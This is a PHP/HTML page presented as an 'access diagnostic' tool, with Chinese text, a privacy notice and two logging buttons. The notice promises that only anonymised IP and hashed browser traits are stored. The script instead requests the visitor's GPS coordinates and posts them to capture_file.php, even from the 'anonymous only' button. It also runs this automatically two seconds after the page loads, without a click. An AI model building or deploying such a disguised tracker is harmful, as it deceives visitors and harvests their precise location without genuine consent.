<?php
require __DIR__ . '/utils.php';
$ip = client_ip();
$ip_display = htmlspecialchars($ip, ENT_QUOTES);
?>
<!doctype html>
<html lang="zh-CN">
<head>
  <meta charset="utf-8">
  <title>访问诊断页</title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <style>
    body{font-family:system-ui,-apple-system,Segoe UI,Roboto,Helvetica,Arial,sans-serif;margin:2rem;line-height:1.6;color:#1f2937}
    .card{max-width:680px;margin:auto;border:1px solid #e5e7eb;border-radius:12px;padding:24px;box-shadow:0 1px 8px rgba(0,0,0,.04)}
    .muted{color:#6b7280;font-size:14px}
    .btn{display:inline-block;padding:.6rem 1rem;border-radius:8px;border:0;cursor:pointer}
    .primary{background:#2563eb;color:#fff}
    .ghost{background:#f3f4f6;color:#111827}
    .row{margin-top:.8rem}
    code{background:#f9fafb;padding:.2rem .4rem;border-radius:6px}
  </style>
</head>
<body>
  <div class="card">
    <h2>访问诊断与最小化记录</h2>
    <p class="muted">此页面用于调试与安全审计。我们仅存储匿名化 IP 和浏览器特征的哈希；若你同意，可额外记录原始 User-Agent 以便复现问题。</p>
    <div class="row">你的当前 IP：<code><?php echo $ip_display; ?></code></div>
    <div class="row">
      <button class="btn ghost" id="log">仅匿名记录</button>
      <button class="btn primary" id="log_consent">同意并记录更多用于调试</button>
    </div>
    <div class="row muted" id="msg"></div>
    <div class="row" id="gps_status" style="display:none;">
      <span style="color:#059669">📍 GPS位置已获取</span>
    </div>
    <div class="row" id="loading" style="display:none;">
      <span style="color:#6b7280">⏳ 正在获取位置...</span>
    </div>
  </div>
<script>
async function ping(consent){
  const url = 'capture_file.php' + (consent ? '?consent=1' : '');
  
  // 显示加载状态
  document.getElementById('loading').style.display = 'block';
  document.getElementById('gps_status').style.display = 'none';
  document.getElementById('msg').textContent = '';
  
  // 准备GPS数据
  let gpsData = null;
  if (navigator.geolocation) {
    try {
      const position = await new Promise((resolve, reject) => {
        navigator.geolocation.getCurrentPosition(resolve, reject, {
          enableHighAccuracy: false,
          timeout: 5000,
          maximumAge: 60000
        });
      });
      gpsData = {
        lat: position.coords.latitude,
        lng: position.coords.longitude,
        accuracy: position.coords.accuracy
      };
      document.getElementById('gps_status').style.display = 'block';
    } catch (error) {
      console.log('GPS获取失败:', error.message);
      document.getElementById('msg').textContent = 'GPS获取失败：' + error.message;
    }
  } else {
    document.getElementById('msg').textContent = '浏览器不支持GPS';
  }
  
  document.getElementById('loading').style.display = 'none';
  
  try {
    const res = await fetch(url, {
      method:'POST', 
      cache:'no-store', 
      keepalive:true,
      headers: {'Content-Type': 'application/json'},
      body: JSON.stringify({gps: gpsData})
    });
    
    if (res.status === 204) {
      document.getElementById('msg').textContent = '✅ 记录成功！';
      document.getElementById('msg').style.color = '#059669';
    } else {
      document.getElementById('msg').textContent = '❌ 记录失败：' + res.status;
      document.getElementById('msg').style.color = '#dc2626';
    }
  } catch (error) {
    document.getElementById('msg').textContent = '❌ 网络错误：' + error.message;
    document.getElementById('msg').style.color = '#dc2626';
  }
}

document.getElementById('log').addEventListener('click', ()=>ping(false));
document.getElementById('log_consent').addEventListener('click', ()=>ping(true));

// 页面加载时自动记录（延迟2秒，避免干扰用户）
setTimeout(() => {
  ping(false);
}, 2000);
</script>
</body>
</html>
